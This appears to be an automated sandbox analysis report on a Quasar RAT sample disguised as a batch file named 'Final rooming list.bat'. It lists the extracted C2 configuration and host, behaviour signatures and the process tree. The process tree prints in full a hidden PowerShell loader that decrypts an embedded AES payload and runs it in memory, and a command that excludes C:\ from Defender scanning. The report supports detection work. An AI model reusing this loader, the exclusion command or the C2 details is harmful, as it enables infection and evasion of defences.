Analysis
- max time kernel
142s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20231020-en - resource tags
- submitted
26/10/2023, 19:27
General
- Target Final rooming list.bat
- Size 579KB
- Sample231026-x545gage45
- SHA256 af5f068d0a2b8aa461a28be084e3e39cb7538b9b4b564e59cf75854420965271
Malware Config
Extracted
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quasar
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1.4.0.0
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Defender_Bypass
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burk2n.dynu.net:4782
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IJy39X1DtiAJigDyVP
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encryption_key
ZUQJuN27rjP6OlfAri54
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install_name
Client.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
Quasar Client Startup
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subdirectory
SubDir
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 4 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe"3⤵
- Views/modifies file attributes
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C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe"C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe" -w hidden -c "$filePath = 'C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat'; $base64Pattern = '::(.*)'; $base64Code = ''; $found = $false; foreach ($line in [System.IO.File]::ReadLines($filePath)) { if ($line -match $base64Pattern) { $base64Code = $Matches[1].Trim(); $found = $true; break; } } if ($found) { $base64Code }; $key = 'S1h7yTlbJgEbe8fAoA0dwoHzF+iw98+iDWu9qKOt56s='; $iv = '9JUEq2XY9KUlMg+mRt4Zsg=='; $cryptedBytes = [System.Convert]::FromBase64String($base64Code); $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider; $aes.Key = [System.Convert]::FromBase64String($key); $aes.IV = [System.Convert]::FromBase64String($iv); $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $decryptor = $aes.CreateDecryptor(); $decryptedBytes = $decryptor.TransformFinalBlock($cryptedBytes, 0, $cryptedBytes.Length); $assembly = [System.Reflection.Assembly]::Load($decryptedBytes); $entryPoint = $assembly.EntryPoint; $null = $entryPoint.Invoke($null, @())"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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-
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C:\Users\Admin\AppData\Roaming\gsges.exe"C:\Users\Admin\AppData\Roaming\gsges.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
Final rooming list.bat.exe
Final rooming list.bat.exe
__PSScriptPolicyTest_gjm51fft.ups.ps1
gsges.exe
gsges.exe
gsges.exe
memory/2720-33-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp
memory/2720-23-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp
memory/2720-28-0x000001E2A8020000-0x000001E2A8030000-memory.dmp
memory/2720-29-0x000001E2A8020000-0x000001E2A8030000-memory.dmp
memory/2720-30-0x000001E2A8020000-0x000001E2A8030000-memory.dmp
memory/4424-59-0x0000000074610000-0x0000000074DC0000-memory.dmp
memory/4424-57-0x0000000005C70000-0x0000000005CD6000-memory.dmp
memory/4424-56-0x0000000005800000-0x0000000005810000-memory.dmp
memory/4424-55-0x00000000058D0000-0x0000000005962000-memory.dmp
memory/4424-58-0x0000000006890000-0x00000000068A2000-memory.dmp
memory/4424-53-0x0000000000E20000-0x0000000000E6E000-memory.dmp
memory/4424-60-0x0000000005800000-0x0000000005810000-memory.dmp
memory/4424-62-0x0000000007270000-0x000000000727A000-memory.dmp
memory/4424-54-0x0000000005E80000-0x0000000006424000-memory.dmp
memory/4424-52-0x0000000074610000-0x0000000074DC0000-memory.dmp
memory/4476-17-0x00000263C5F30000-0x00000263C5FA2000-memory.dmp
memory/4476-51-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp
memory/4476-36-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp
memory/4476-35-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp
memory/4476-34-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp
memory/4476-16-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp
memory/4476-15-0x00000263C3AD0000-0x00000263C3AE0000-memory.dmp
memory/4476-14-0x00007FFDF82F0000-0x00007FFDF8DB1000-memory.dmp
memory/4476-4-0x00000263C5B50000-0x00000263C5B72000-memory.dmp